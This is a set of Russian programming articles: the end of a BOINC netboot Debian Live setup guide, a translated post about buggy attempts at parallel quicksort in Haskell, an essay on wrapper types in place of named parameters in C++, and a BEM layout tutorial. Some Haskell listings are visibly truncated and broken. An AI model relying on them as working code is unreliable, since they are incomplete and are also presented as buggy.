#/etc/ssh/ssh_host_rsa_key.pub \
#/etc/ssh/ssh_host_dsa_key.pub \
# если нужен SSH
do
[ -f $file ] && sed -i.old -e "s:$ancien:$nouveau:g" $file
done
invoke-rc.d hostname.sh start
invoke-rc.d networking force-reload
service boinc start
}
case "$1" in
start|"")
do_start
;;
restart|reload|force-reload|status)
echo "Error: argument '$1' not supported" >&2
exit 3
;;
stop)
# NOP
exit 3
;;
*)
echo "Usage: ... [start|stop]" >&2
exit 3
;;
esac
:
```
3. `config/hooks/boinc-preps-init.chroot` — скрипт из одной команды, который выполнится при сборке и добавит `boinc-preps` из предыдущего пункта в автозагрузку:
```
#!/bin/sh
update-rc.d boinc-preps defaults
```
После добавления нужных настроек запускаем собственно сборку:
```
lb build
```
Ценность для нас представляет получившийся файл `binary.netboot.tar`. Распакуем его в `/srv`:
```
cd /srv && tar -xvf live-default/binary.netboot.tar
```
Он распакуется в `/srv/debian-live` (корневая ФС для сетевой загрузки) и `/srv/tftpboot` (файлы для TFTP-сервера). В моём случае сборочная станция и NFS-сервер — это один компьютер, поэтому `/srv/debian-live` уже находится на своём месте.
Содержимое `tftpboot` — готовое загрузочное меню, его нужно разместить на TFTP-сервере. Его работу я не проверял, так как у меня есть работающий TFTP-сервер со своим меню, и отсюда мне понадобилась лишь часть данных. Во-первых, я скопировал все файлы из `tftpboot/live/` на TFTP-сервер в `images/debian-live/` (относительно корневой директории TFTP-сервера). Во-вторых, из `tftpboot/live.cfg` я позаимствовал текст, добавляющий новый пункт меню, при этом изменив его до такого состояния (здесь тоже нужно указать адрес своего NFS-сервера):
```
label live-686-pae
menu label BOINC-live (686-pae)
linux images/debian-live/vmlinuz1
initrd images/debian-live/initrd1.img
append boot=live config nosplash root=/dev/nfs nfsroot=192.168.15.20:/srv/debian-live
```
Теперь всё лежит на своих местах.
Если после сборки хочется проверить содержимое корневой ФС, то не обязательно загружаться с нею, её можно просто смонтировать как loop-устройство:
```
mount -o loop,ro /srv/debian-live/live/filesystem.squashfs /mnt/squash/
```
Если нужно пересобрать дистрибутив с новыми параметрами, то перед этим можно сделать либо `lb clean --binary`, либо `lb clean`.
#### Использование
1. Включаем компьютер и выбираем загрузку по сети (обычно для этого достаточно нажать F12).
2. В зависимости от загрузочного меню либо выбираем пункт «BOINC-live», либо просто ждём, пока загрузится по таймауту.
3. В появившуюся (если всё пошло как надо) командную строку пишем `sudo ifconfig` (пароль вводить не потребуется) и записываем IP-адрес.
4. На компьютере управления (одном из тех, что мы указали в `config/includes.chroot/etc/init.d/boinc-preps`) запускаем boinc-manager, нажимаем «Дополнительно — Сменить компьютер» (эта кнопка есть только в «Полном виде»). При этом BOINC не должен запрашивать никаких паролей у пользователя.
5. После подключения появится мастер, в котором нужно будет выбрать проект (в моём случае это World Community Grid) и ввести логин/пароль.
Всё, через несколько минут появятся новые задачи в состоянии «Готово к запуску» и «Работает».
Эту процедуру нужно выполнить только один раз для каждого компьютера (точнее, для каждого MAC-адреса). Даже вернувшись к вам после длительной эксплуатации в другом месте, компьютер по MAC-адресу найдёт свои данные на NFS-сервере и продолжит работу сразу после включения (только некоторые задания будут уже просрочены, но это мелочь, получит новые).
#### Итоги
Что осталось нерешённым:
* Автологин в WCG. Наверное, можно вшить в образ конфиг проекта, чтобы вообще ничего не вводить руками, но за приемлемое время решение не нагуглилось.
* Почтовые уведомления. Чтобы не вводить «sudo ifconfig», можно автоматом отсылать админу адрес запустившегося компьютера. Однако, я этого не сделал, потому что костыли, и лучше вместо этого реализовать предыдущий пункт.
* Два раза указан IP NFS-сервера, возможно, один из них можно убрать.
* Для создания директории компьютера всегда используется MAC-адрес интерфейса eth0. Хорошо это или нет — я не могу с уверенностью сказать.
Не давайте компьютерам скучать! И пишите комментарии, с радостью отвечу или дополню статью. | https://habr.com/ru/post/234697/ | null | ru | null |
# Параллельная быстрая сортировка на Хаскеле и как нелегко её оказалось написать
*Прим. перев.: Это перевод [истории](http://flyingfrogblog.blogspot.de/2010/08/parallel-generic-quicksort-in-haskell.html) о том, как нелегко оказалось написать параллельную быструю сортировку (quicksort) на Хаскеле. Оригинал статьи написан в 2010 году, но, мне кажется, он до сих пор поучительный и во многом актуальный.*
Есть много примеров того, как Хаскель делает простые проблемы сложными. Вероятно, самый известный из них—это решето Эратосфена, которое легко написать на любом императивном языке, но настолько сложно написать на Хаскеле, что почти все решения, которые преподавались в университетах и использовались в исследованиях последние 18 лет, оказались неправильными. На их несостоятельность обратила внимание Мелисса О'Нил [Melissa O'Neill] в своей важной научной работе "[Настоящее решето Эратосфена](http://www.cs.hmc.edu/~oneill/papers/Sieve-JFP.pdf)". В ней приводится прекрасное описание того, что не так в старых подходах, и как их надо исправить. Решением Мелиссы было использовать очередь с приоритетом [priority queue] для реализации решета. Правильное решение оказалось в 10 раз длиннее, чем [намного более простое решение на F#](http://fsharpnews.blogspot.com/2010/02/sieve-of-eratosthenes.html) и в целых 100 раз длиннее, чем оригинальный изуродованный алгоритм на Хаскеле.
Сегодня быстрая сортировка — это новое решето Эратосфена. И программисты на Хаскеле снова обошли неспособность языка выразить этот алгоритм [уродованием последнего](http://www.haskell.org/haskellwiki/Introduction#Quicksort_in_Haskell). Новый вариант медленнее на порядки, но зато его можно легко записать на Хаскеле.
```
qsort [] = []
qsort (x:xs) = qsort (filter (< x) xs) ++ [x] ++ qsort (filter (>= x) xs)
```
Этот код совершенно не соотносится с сущностью настоящего алгоритма быстрой сортировки, которая делает его таким эффективным (см. [оригинальную статью Тони Хоара 1962 года](http://comjnl.oxfordjournals.org/cgi/content/short/5/1/10) о быстрой сортировке). А именно, перегруппировка [partitioning] массива без дополнительного выделения памяти [in-place partitioning using swaps].
Столкнувшись с проблемой написания паралелльной быстрой сортировки общего назначения на Хаскеле, Джим Эппл [Jim Apple] (который пишет кандидатскую по Хаскелю в Калифорнийском университете в Дейвисе, UC Davis) дал старт делу, [написав](http://www.reddit.com/r/coding/comments/codqo/engineering_large_projects_in_a_functional/c0ur3li) следующий код:
```
import Data.HashTable as H
import Data.Array.IO
import Control.Parallel.Strategies
import Control.Monad
import System
exch a i r =
do tmpi <- readArray a i
tmpr <- readArray a r
writeArray a i tmpr
writeArray a i tmpi
bool a b c = if c then a else b
quicksort arr l r =
if r <= l then return () else do
i <- loop (l-1) r =<< readArray arr r
exch arr i r
withStrategy rpar $ quicksort arr l (i-1)
quicksort arr (i+1) r
where
loop i j v = do
(i', j') <- liftM2 (,) (find (>=v) (+1) (i+1)) (find (<=v) (subtract 1) (j-1))
if (i' < j') then exch arr i' j' >> loop i' j' v
else return i'
find p f i = if i == l then return i
else bool (return i) (find p f (f i)) . p =<< readArray arr i
main =
do [testSize] <- fmap (fmap read) getArgs
arr <- testPar testSize
ans <- readArray arr (testSize `div` 2)
print ans
testPar testSize =
do x <- testArray testSize
quicksort x 0 (testSize - 1)
return x
testArray :: Int -> IO (IOArray Int Double)
testArray testSize =
do ans <- newListArray (0,testSize-1) [fromIntegral $ H.hashString $ show i | i <- [1..testSize]]
return ans
```
Этот алгоритм использует параллельные "[стратегии](http://hackage.haskell.org/packages/archive/parallel/2.2.0.1/doc/html/Control-Parallel-Strategies.html)" Хаскеля. Эта концепция была разработана, чтоб дать программистам на Хаскеле больше контроля над параллелизацией, но оказалось, что [в единственной доступной имплементации течёт память](http://www.haskell.org/~simonmar/papers/multicore-ghc.pdf) и никому не удалось заставить её работать в этом коде: решение Джима содержит ошибку многопоточности [concurrency], из-за которой оно возвращает неправильные результаты почти при каждом вызове.
Тогда Пикер [Peaker] предложил [свое решение](http://www.reddit.com/r/coding/comments/codqo/engineering_large_projects_in_a_functional/c0ur6yx) на Хаскеле:
```
import Data.Array.IO
import Control.Monad
import Control.Concurrent
bool t _f True = t
bool _t f False = f
swap arr i j = do
(iv, jv) <- liftM2 (,) (readArray arr i) (readArray arr j)
writeArray arr i jv
writeArray arr j iv
parallel fg bg = do
m <- newEmptyMVar
forkIO (bg >> putMVar m ())
fg >> takeMVar m
sort arr left right = when (left < right) $ do
pivot <- read right
loop pivot left (right - 1) (left - 1) right
where
read = readArray arr
sw = swap arr
find n pred i = bool (find n pred (n i)) (return i) . pred i =<< read i
move op d i pivot = bool (return op)
(sw (d op) i >> return (d op)) =<<
liftM (/=pivot) (read i)
loop pivot oi oj op oq = do
i <- find (+1) (const ( cell>pivot && idx/=left) oj
if i < j
then do
sw i j
p <- move op (+1) i pivot
q <- move oq (subtract 1) j pivot
loop pivot (i + 1) (j - 1) p q
else do
sw i right
forM\_ (zip [left..op-1] [i-1,i-2..]) $ uncurry sw
forM\_ (zip [right-1,right-2..oq+1] [i+1..]) $ uncurry sw
let ni = if left >= op then i + 1 else right + i - oq
nj = if right-1 <= oq then i - 1 else left + i - op
let thresh = 1024
strat = if nj - left < thresh || right - ni < thresh
then (>>)
else parallel
sort arr left nj `strat` sort arr ni right
main = do
arr <- newListArray (0, 5) [3,1,7,2,4,8]
getElems arr >>= print
sort (arr :: IOArray Int Int) 0 5
getElems arr >>= print
```
Это решение тоже оказалось с багами. Во-первых, оно содержит более тонкий баг многопоточности [concurrency], который приводит к неверным результатам лишь изредка. Пикер [исправил этот баг](http://www.reddit.com/r/coding/comments/codqo/engineering_large_projects_in_a_functional/c0v1bw5) в следующем коде:
```
import System.Time
import System.Random
import Data.Array.IO
import Control.Monad
import Control.Concurrent
import Control.Exception
import qualified Data.List as L
bool t _ True = t
bool _ f False = f
swap arr i j = do
(iv, jv) <- liftM2 (,) (readArray arr i) (readArray arr j)
writeArray arr i jv
writeArray arr j iv
background task = do
m <- newEmptyMVar
forkIO (task >>= putMVar m)
return $ takeMVar m
parallel fg bg = do
wait <- background bg
fg >> wait
sort arr left right = when (left < right) $ do
pivot <- read right
loop pivot left (right - 1) (left - 1) right
where
read = readArray arr
sw = swap arr
find n pred i = bool (find n pred (n i)) (return i) . pred i =<< read i
move op d i pivot = bool (return op)
(sw (d op) i >> return (d op)) =<<
liftM (/=pivot) (read i)
swapRange px x nx y ny = if px x then sw x y >> swapRange px (nx x) nx (ny y) ny else return y
loop pivot oi oj op oq = do
i <- find (+1) (const ( cell>pivot && idx/=left) oj
if i < j
then do
sw i j
p <- move op (+1) i pivot
q <- move oq (subtract 1) j pivot
loop pivot (i + 1) (j - 1) p q
else do
sw i right
nj <- swapRange (oq) (right-1) (subtract 1) (i+1) (+1)
let thresh = 1024000
strat = if nj - left < thresh || right - ni < thresh
then (>>)
else parallel
sort arr left nj `strat` sort arr ni right
timed act = do
TOD beforeSec beforeUSec <- getClockTime
x <- act
TOD afterSec afterUSec <- getClockTime
return (fromIntegral (afterSec - beforeSec) +
fromIntegral (afterUSec - beforeUSec) / 1000000000000, x)
main = do
let n = 1000000
putStrLn "Making rands"
arr <- newListArray (0, n-1) =<< replicateM n (randomRIO (0, 1000000) >>= evaluate)
elems <- getElems arr
putStrLn "Now starting sort"
(timing, \_) <- timed $ sort (arr :: IOArray Int Int) 0 (n-1)
print . (L.sort elems ==) =<< getElems arr
putStrLn $ "Sort took " ++ show timing ++ " seconds"
```
Это решение действительно работает на маленьких входных массивах, но увеличение размера массива до 1 000 000 элементов приводит к переполнению стека. Было сделано две попытки проанализировать этот баг, [здесь](http://www.reddit.com/r/coding/comments/codqo/engineering_large_projects_in_a_functional/c0v182l) и [здесь](http://www.reddit.com/r/programming/comments/bnnoh/fast_automatically_parallel_arrays_for_haskell/c0vm0w7), но обе оказались неправильными. На самом деле, это [баг](http://www.reddit.com/r/programming/comments/bnnoh/fast_automatically_parallel_arrays_for_haskell/c0vpw9b) в функции [getElems](http://haskell.org/ghc/docs/6.12.1/html/libraries/array-0.3.0.0/Data-Array-MArray.html#v%3AgetElems) стандартной библиотеки Хаскеля, которая переполняет стек на больших массивах.
Как ни странно, исправления еще нескольких багов, судя по всему, привели к реализации первой в мире параллельной быстрой сортировки общего назначения, написанной на Хаскеле. Более того, финальное решение на Хаскеле всего примерно на 55% медленнее, чем эквивалентное решение на F#. Будьте внимательны, это решение требует последнюю версию GHC, которая была выпущена несколько недель назад (*прим. перев.: статья 2010 года, так что читателю беспокоиться не о чем*).
#### Первые комментарии к оригинальной статье
Ganesh Sittampalam:
> Поздравляю с обучением тому, как делать fork и synchronise в Хаскеле!
Jon Harrop (автор оригинала):
> Поздравляю с проверкой твоей теории о том, что это будет «тривиально»... | https://habr.com/ru/post/317348/ | null | ru | null |
# Именованные параметры C++. Не пригодились
Время от времени вдруг начинает хотеться именованных параметров в C++. Не так давно была [статья](http://habrahabr.ru/company/infopulse/blog/246663/), да и сам какое-то время назад [писал](http://habrahabr.ru/post/213015/) на эту тему. И вот что удивительно — со времен той своей статьи я участвую в новом проекте без необходимости тащить за собой старый код, и как-то удивительным образом всего этого описанного собой же не использую. Т.е. в вопросе разобрался, восхитился перспективами… и продолжил работать по-старинке! Как же так? Лень? Инерция? Ответ постараюсь дать под катом.
Для начала рассмотрим пример — объявление функции, возвращающей объект даты для заданных дня, месяца и года.
```
Date createDate(int day, int year, int month);
```
Проблема очевидна — какой порядок параметров не выбери, через месяц, увидев подобное
```
Date theDate = createDate(2, 3, 4);
```
будешь гадать: «Что это? Второе марта 2004-го года, или четвертое 2002-го?». Если же особо повезло, и команда интернациональная, трактовка функции разработчиками может в корне отличаться. Одинаковые типы идут подряд в списке параметров… Вот в таких случаях обычно и хочется именованных параметров, которых в С++, увы, нет.
Многим программистам приходится переключаться с одного языка программирования на другой. При этом что-то в новом языке нравится, что-то нет… Плохое со временем забывается, хорошее же хочется непременно перенести в ту среду, где сейчас работаешь. Вон, в том же Objective C именованные параметры имеются!
```
+ (UIColor *)colorWithRed:(CGFloat)red
green:(CGFloat)green
blue:(CGFloat)blue
alpha:(CGFloat)alpha
```
Да, первый параметр идет без имени, но его название часто включают в имя метода. Решение, конечно, не идеальное (например, метода colorWithBlue не существует, такая вот цветовая несправедливость), зато именованные параметры поддерживаются на уровне языка. В VBA все еще лучше — имена можно дать всем параметрам, благодаря им можно не плодить множество похожих методов, а обойтись одним. Посмотрите, например, на [Document.PrintOut](http://msdn.microsoft.com/en-us/library/office/ff837331(v=office.15).aspx)
А в C++ ничего такого нет! Сразу хочется исправлять ситуацию, искать библиотеки, придумывать костыли и велосипеды. И даже что-то найдется и получится. Но вместо этого можно задуматься, если все так прекрасно, почему именованные параметры не добавили. Столько парадигм поддерживается, а тут такое…
Или, может, добавили? Просто назвали иначе. Например, пользовательскими типами. Самое время привести основную мысль статьи. **Примитивным стандартным типам не место в интерфейсах реальной системы**. Такие типы — просто строительные блоки, из которых нужно именно строить, а не пытаться жить внутри.
Например, объект типа **int** — знаковое целое, лежащее в определенном диапазоне. Что описывает этот тип? Только свою реализацию. Это не может быть, например, количество яблок. Потому что яблок не может быть минус 10. Все еще хуже: **unsigned int** также непригоден для этой задачи. Потому что яблоки вообще не имеют никакого отношения к размерности типа данных на вашей платформе. Привязывая примитивные типы языка к параметрам открытых методов своих моделей, мы делаем ошибку, которую затем пытаемся «замять» с помощью различных костылей. Причем в своем стремлении скрыть оплошность мы часто игнорируем тот простой факт, что язык пытается нам помочь, говоря: «Я не поддерживаю этого напрямую, и неспроста...».
Но главный недостаток примитивных типов — компилятор лишается шанса выявить логическую ошибку. Например, есть у нас метод, принимающий два параметра — имя и фамилию. Если свести их к стандартным строковым типам, то компилятор увидит только два куска текста, от перестановки которых смысл не поменяется. В результате один разработчик передаст первым параметром имя, а другой — фамилию. И оба технически будут правы. Ошибка уничтожается в зачатке, если для имени и фамилии существуют специальные типы. В реальной системе, где имя и фамилия являются до того значимыми сущностями, что входят в интерфейс по отдельности, сводить их просто к строкам — ошибка. Имя — это совсем не произвольная строка. Хотя бы потому, что выбирается из заранее известного множества. Еще оно, скажем, не содержит цифр (хотя тут я не уверен).
Но вернемся к датам. День — это ни в коем случае не **unsigned int**, не **unsigned char** не даже **std::string**. День — это… день! Если мы строим модель, в которой присутствуют даты, то для представления дней имеет смысл создать специальный тип. Пользовательские типы данных — это как раз то, что придает C++ всю его мощь и выразительность. Тогда и костыли становятся не нужны. Вводим класс для представления дней
```
class Day
{
explicit Day (unsigned char day);
//...
private:
unsigned char mValue;
};
```
Как-то вот так. Естественно для физического представления значения в памяти мы все равно используем примитивный тип. Но больше это не является частью интерфейса. Сразу же мы получаем полный контроль над содержимым этого поля, исключая ряд возможных ошибок. Да, не зная полной даты, точные ограничения установить не получится, но по крайней мере проверку на попадание в интервал 1..31 уже можно организовать. Самое же главное: реализовав специальные типы данных для месяца и года с явными (**explicit**) конструкторами для инициализации примитивными типами, мы получим именованные параметры, поддерживаемые непосредственно языком. Функцию теперь можно вызывать следующим образом
```
Date theDate = createDate(Day(2), Month(3), Year(4));
```
Никаких окольных путей, никаких дополнительных библиотек. Да, менять местами параметры такой подход не позволит, но это не так и важно. Главная миссия именованных параметров — исключить ошибки при вызове функций и повысить читабельность кода — осуществляется.
В качестве бонуса получаем повышенную гибкость, если, скажем, захотелось задавать месяц еще и в строковом виде. Теперь можно не делать перегружаемый вариант **createDate** (это функция создания объекта даты, какое ей вообще дело до формата месяца). Вместо этого просто добавляется еще один явный конструктор для типа «месяц»
```
class Month
{
explicit Month(unsigned char month);
explicit Month(std::string month);
//...
private:
unsigned char mValue;
};
```
Каждый теперь занимается своим делом — **createDate** создает дату, а класс **Month** интерпретирует и контролирует корректность значения месяца.
```
Date theDate = createDate(Day(2), Month("Jan"), Year(4));
```
Сразу хочется возразить — а не многовато ли лишних типов будет, если для каждого примитивного типа делать свой тип-обертку? Тут как посмотреть. Если вы студент, которому нужно побыстрее написать лабу, сдать ее и забыть, то да — много лишнего кода и потерянное время. Но если речь идет о реальной системе, в долгой и счастливой жизни которой вы заинтересованы, то называть пользовательские типы для сущностей, используемых в интерфейсе, лишними я бы не стал.
Но как быть с пользовательскими типами? Что, например, делать, если какой-то метод принимает несколько объектов одинакового типа
```
User user1, user2;
//...
someMethod(user1, user2);
```
Здесь все зависит от контекста. Если все объекты равнозначны, то и проблемы нет — от порядка их передачи ничего не меняется. Чтобы подчеркнуть это, можно разве что передавать объекты, упакованными в массив или другой контейнер. Если же объекты неравнозначны, например, метод ставит в подчинение user2 объекту user1, то совсем нелишними будут специальные типы, отражающие роли объектов. Должны это быть обертки вокруг объектов пользователей (как в случае с примитивными типами) или проще создать специальные классы-наследники User, зависит от реализуемой системы. Важно каким-то образом выразить средствами языка различные роли user1 и user2, позволяя компилятору отлавливать ошибки, связанные с их возможной путаницей.
Какой можно сделать вывод. Не нужно стремиться выхватить все самое лучшее из всех языков и засунуть это в один, и без того многострадальный C++. Важно уметь побороть инерцию при смене языка программирования. Скажем, да, в Луа можно присваивать значения сразу нескольким переменным
x, y = getPosition()
Сама идея прекрасна, но нужна ли она в C++. Вообще не нужна. Тут проще создать тип Position и присваивать значение его объекту. Язык — это инструмент, не более того. И из того, что инструменты иногда похожи, совсем не следует, что пользоваться ими нужно одинаково вплоть до мелочей. | https://habr.com/ru/post/246711/ | null | ru | null |
# Верстка для самых маленьких. Верстаем страницу по БЭМу
Недавно хабраюзер [Mirantus](http://habrahabr.ru/users/mirantus/) написал статью [«Как сверстать веб-страницу»](http://habrahabr.ru/post/202408/), в которой рассказывал о том, как же сверстать веб-страничку. В его статье было подробно рассмотрено, как выделить отдельные элементы из заданного шаблона, подобрать шрифты и т.п. Однако его подход к написанию, собственно, веб-страницы мне показался не очень хорошим, о чем я написал в [комментариях](http://habrahabr.ru/post/202408/#comment_6992378).
В данной статье я хочу рассказать, о том, как можно сверстать «хорошо» (по крайней мере структурировано ;), а заодно рассказать и о методологии, которая может «упростить жизнь» при верстке. Структура поста будет следующей:
* BEM
* Собственно пример — как сверстать страницу
BEM
---
БЭМ (Блок, Элемент, Модификатор) — методология разработанная внутри Яндекса предлагает следующую концепцию (если описать 1-2 предложениями):
Любая веб-страница — набор блоков, которые состоят из элементов, причем элементом может быть другой блок (таким образом мы получаем вложенность). При необходимости мы можем модифицировать «стандартное» отображение блока\элемента, путем добавления к нему модификатора.
Сайт методологии: [ru.bem.info](http://ru.bem.info)
Очень хорошее «руководство к действию» можно найти здесь: [ru.bem.info/method/definitions](http://ru.bem.info/method/definitions)
Предлагаю дать определения основным элементам:
Блок — часть страницы, являющаяся логически независимой от остального наполнения. Представляет собой «строительную единицу» для сайта (на примере конструктора лего — это отдельный «кирпичек»)
Блок не отвечает за свое расположение. Он задает внутренние свойства (размеры, шрифты и т.д.)
Внутри Блок содержит Элементы. Элемент — часть блока, которая отвечает за отдельную задачу (например, это расположение внутри блока). Элемент должен входить в состав блока и не должен иметь какого-либо смысла отдельно от блока.
#### Пример выделения блоков\элементов
Для примера возьмем блок «прямой эфир» на сайте Хабра:
Вот так он выглядит:
Если «организовать» его по методологии БЭМ, то данная часть будет являть собой блок, состоящий из элементов:
Соответственно, данный блок состоит из 3 разных типов элементов. (Здесь стоит сделать оговорку, что возможно сверстать с использованием только 1 типа элемента (который будет описывать только маргины)).
Элементы выделенные розовым цветом внутри себя содержат другой блок, назовем его «пост».
Соответственно, рассмотрим из чего состоит блок пост:
Таким образом, блок «пост» состоит из 5 элементов.
На данном примере мы рассмотрели каким образом могут строиться блоки с применением методологии БЭМ (стоит сказать, что таким же образом может строиться любой уровень вложенности).
Теперь рассмотрим третью составляющую БЭМ — модификатор.
Модификатор может задавать как дополнительное поведение для блока\элемента, так и переопределять стандартное.
Самым ярким примером для понимания «модификатора» служит пример с кнопками.
Предположим, что в проекте используются кнопки типа:
Такая кнопка имеет некий padding слева и справа, шрифт и цвет background'а. Соответственно, мы представляем кнопку как .button и добавляем эти свойства ей.
Теперь, в проект на некоторых страницах необходимо добавить такие же кнопки, но, скажем, с background-color:red;
Решить данную задачу с использованием БЭМ можно очень просто:
Создать модификатор для блока: .button\_red, для которой добавить заданное свойство.
Готово! В проекте появились красные кнопки с другим внешним видом. Причем нам не понадобилось создавать новые сущности.
#### Стиль описания БЭМ
БЭМ не декларирует «особого» стиля описания классов. Однако, де-факто используется следующий стиль:
1) Несколько слов в одном названии разделяются дефисом (например, блок main-page или my-super-main-list)
2) Элементы отделяются от блоков с использованием двух символов подчеркивания "\_\_" (например, main-page\_\_header или my-super-main-list\_\_item)
3) Модификаторы отделяются одним символом подчеркивания "\_" (например, main-page\_\_header\_strong или my-super-main-list\_blue)
#### Префиксы
Иногда в проекте присутствуют префиксы. Они позволяют разработчиком точно определять какую логическую нагрузку несет тот или иной класс.
Например:
g- (global) префикс для глобальных классов. (Например, для задания невидимых элементов g-hidden.)
b- (block) префикс для выделения элементов, относящихся к структуре документа.
js- (JavaScript) префикс для выделения элементов для селекторов js.
#### Разметка страницы
Разметкой страницы занимается блок, который, к примеру, можно установить для body.
Соответственно элементы данного блока и описывают расположение остальных блоков на веб-странице.
#### Почему использование каскада — плохо?
У людей, впервые для себя открывших БЭМ может возникнуть вопрос — почему элементы описываются такими длинными цепочками? не проще ли:
.main-page
.main-page .header
и т.д.
Данный способ проще записывается, но, к сожалению, может нарушить независимость блоков.
Пример:
имеем следующую стуктуру:
```
.main-page
.header
.item
.article
.header
.text
.item
////
```
В этом случае .main-page .header будет применен не только к нужному .header, но и .item .article .header, что является ненужным. БЭМ предполагает уход от каскадных стилей (типа div .someClass li), которые:
1) повышают специфичность веб-страниц;
2) нарушают независимость блоков. (в отличие от БЭМ).
Именно поэтому, корректной структурой для БЭМ будет:
```
.main-page
.main-page__header
.main-page__item
.article
.article__header
.article__text
.main-page__item
////
```
#### Какие плюсы дает БЭМ?
0) Независимость блоков — за счет ухода от каскадности и отказа от описания в блоке «своего позиционирования»;
1) Повторяемость блоков — любой независимый блок можно повторять на любых страницах проекта. Возможно создать базу блоков, вследствие чего новые страницы будут создаваться подобно конструктору Лего;
2) Простота поддержки;
3) Структурированность кода.
Страница, сверстанная с использованием БЭМ может выглядеть больше, чем страницы, сверстанные без использования данной методологии, однако, представьте, если вы работаете с сайтом, где >20-30 уникальных страниц? В таком случае возможность повторного использования блоков и единая концепция позволяет:
1) намного быстрее принимать решения о модернизации страниц\блоков сайта;
2) уменьшает порог вступления в проект новых разработчиков.
Верстаем страницу
-----------------
В качестве шаблона воспользуемся Corporate Blue.
Верстать будем главную страницу:
Изначально определим разметку страницы:
Здесь блок имеет 6 элементов.
По порядку:
1) Верхняя линия
2) Header
3) Меню
4) Слайдер
5) Main
6) Footer
Запишем эту структуру:
```
BEM-example
```
Зададим стили для блока и элементов:
```
.b-page
{
width:100%;
margin:0;
background-color:#f7f7f7;
background:url("../img/bg.png");
font-family:Oswald,Tahoma;
font-size:12px;
}
.b-page__head-line
{
background-color:#7e7e7e;
height:5px;
width:100%;
}
.b-page__line
{
width: 960px;
margin: 0 auto;
margin-top:27px;
}
```
#### Разберем header страницы
Он состоит из двух элементов:
1) Лого:
2) Форма поиска:
Выделим картинку и зададим HTML-структуру:
```
[](#)
GO
```
*HINT: второй div .b-search\_\_input располагаем «впритык» к концу первого. Если так не сделать, то между двумя элементами будет пустое место. Его можно убрать либо изменив отступы, либо убрав в html коде пробелы.*
Соответствующие стили:
Для блока лого:
```
.b-head
{
height:36px;
}
.b-head__logo
{
float: left;
}
```
Для поиска:
```
.b-head__search
{
float:right;
}
.b-search__input
{
display:inline-block;
}
.b-input
{
background-color: #f3f3f3;
border:1px solid #e7e7e7;
}
.b-input_search
{
height:32px;
padding:0 10px;
width:135px;
border-right:none;
}
.b-button
{
color:#fefefe;
height:34px;
padding:0 12px;
line-height:33px;
cursor:pointer;
background-color:#29c5e6;
}
```
В данном блоке мы расположили элементы блока b-head слева и справа, а для input поиска задали стиль отображения inline-block.
Реакцию на работу кнопок\ссылок создавать не будем, так как цель статьи — показать на примере как можно верстать, используя БЭМ.
header готов.
#### Переходим к меню
Заметим, что каждый элемент можно представить как самостоятельный блок (состоящий только из себя) и являющийся ссылкой. Заведем сущность ссылка (b-link) и определим для нее обычный стиль и шрифт для ссылки:
```
.b-link
{
color:#525252;
font-size:12px;
}
```
Стили ссылок для меню определим в модификаторе .b-link\_menu. Создадим HTML код:
```
[HOME](#)
[ABOUT US](#)
[SERVICES](#)
[PARTNERS](#)
[CUSTOMERS](#)
[PROJECTS](#)
[CAREERS](#)
[CONTACT](#)
```
Активный пункт меню выделим как .b-link\_menu\_active.
Остается только добавить стили и меню готово:
```
.b-menu
{
margin:0;
padding:0;
list-style:none;
width:100%;
display:table;
table-layout: fixed;
}
.b-link_menu
{
text-align:center;
color:#bfbfbf;
cursor:pointer;
font-size:14px;
height:38px;
background-color:#f3f3f3;
line-height:38px;
border: 1px solid #e7e7e7;
display:table-cell;
text-decoration: none;
}
.b-link_menu_active
{
color:#fefefe;
background-color:#29c5e6;
border:1px solid #29c5e6;
}
```
*HINT: Если стоит задача сверстать набор элементов на полную ширину родителя, причем все элементы должны занимать одинаковое место, то решением можно считать:
1) Родителю задаем display: table; table-layout:fixed;
2) Дочерним элементам задаем display: table-cell;
Такое моделирование таблицы позволяет успешно решить поставленную задачу.*
#### Переходим к слайдеру:
Здесь текст на слайдере необходимо вывести на картинке. Соответственно, для этого можно использовать картинку (на которой написать вручную текст), а можно воспользоваться особенностью position, либо z-index.
Второй способ гласит, что элементы с position: relative\ absolute отрисовываются отдельно от «остальных» элементов. Соответственно, эти элементы будут отображены «выше» остальных.
Третий способ: z-index задается для сестринских элементов. Представляет собой отображение по оси 0Z. Соответственно, тот элемент, у которого z-index выше, будет перекрывать собой те, у которого z-index ниже.
Зададим HTML структуру:
```
FUSCE VITAE NIBN QUIS DIAM FERMENTUM
Etiam adipscing ultricies commodo.
* 1
LOREM IPSUM DOLOP
* 2
ULTRICIES PELLENTESQUE
* 3
ALIQUAM IPSUM
* 4
NULLAM SED MAURIS UT
```
Меню слайдера не использует так как предполагается, что при нажатии меняется текущее содержимое слайдера.
CSS:
```
.b-slide__text
{
position:relative;
top:40px;
left:35px;
z-index:10;
}
.b-slide__header
{
font-size:42px;
color:#5a5a5a;
}
.b-slide__subtext
{
font-size:20px;
color:#b0b0b0;
}
.b-slide__image
{
z-index: 0;
margin-top:-62px;
}
.b-slider__list
{
height:50px;
background-color:#f3f3f3;
width:100%;
margin-top:-2px;
border-bottom: 1px solid #e7e7e7;
}
.b-slide-list
{
margin:0;
padding:0;
list-style:none;
width:100%;
display:table;
table-layout:fixed;
font-size:16px;
color:#8f8f8f;
}
.b-slide-list__item
{
display:table-cell;
}
.b-slider-case-element__number
{
text-align:center;
display:inline-block;
width:22px;
margin-left:12px;
margin-top:12px;
height:22px;
background-color: #8f8f8f;
color:#f3f3f3;
}
.b-slider-case-element
{
cursor:pointer;
}
.b-slider-case-element__number_active
{
background-color:#29c5e6;
color:#fefefe;
}
.b-slider-case-element__text_active
{
color:#29c5e6;
}
```
#### Main-блок
Основной блок состоит из 6 элементов, каждый из которых содержит блок, наполненый:
а) картинками
б) текстом
в) ссылками
Со стилями:
```
.b-item-head__img
{
display:inline-block;
background: url("../img/bg.png");
padding:2px;
}
.b-item-head__text
{
display:inline-block;
}
.b-item-head
{
line-height:16px;
height:19px;
background:url('../img/hbg.png') repeat;
}
.b-item-head__text
{
display:inline;
font-size:16px;
color:#8f8f8f;
padding:3px;
padding-right:10px;
background: url("../img/bg.png");
}
.b-company
{
width:100%;
}
.b-company__content
{
margin-top:15px;
}
.b-content__img
{
float:left;
margin-right:20px;
}
.b-content__text
{
color:#8f8f8f;
font-size:12px;
}
.b-link,.b-content__link
{
color:#525252;
font-size:12px;
}
```
Аналогично отображаются другие блоки. (Меняем стили только внутренних элементов)
#### Переходим к footer
footer состоит из трех расположенных последовательно вложенных блоков:
1) Twitter
2) SiteMap
3) Social Networks
И четвертого, выровненного по правому краю — логотипу:
Разберем верстку каждого из этих блоков:
#### Twitter
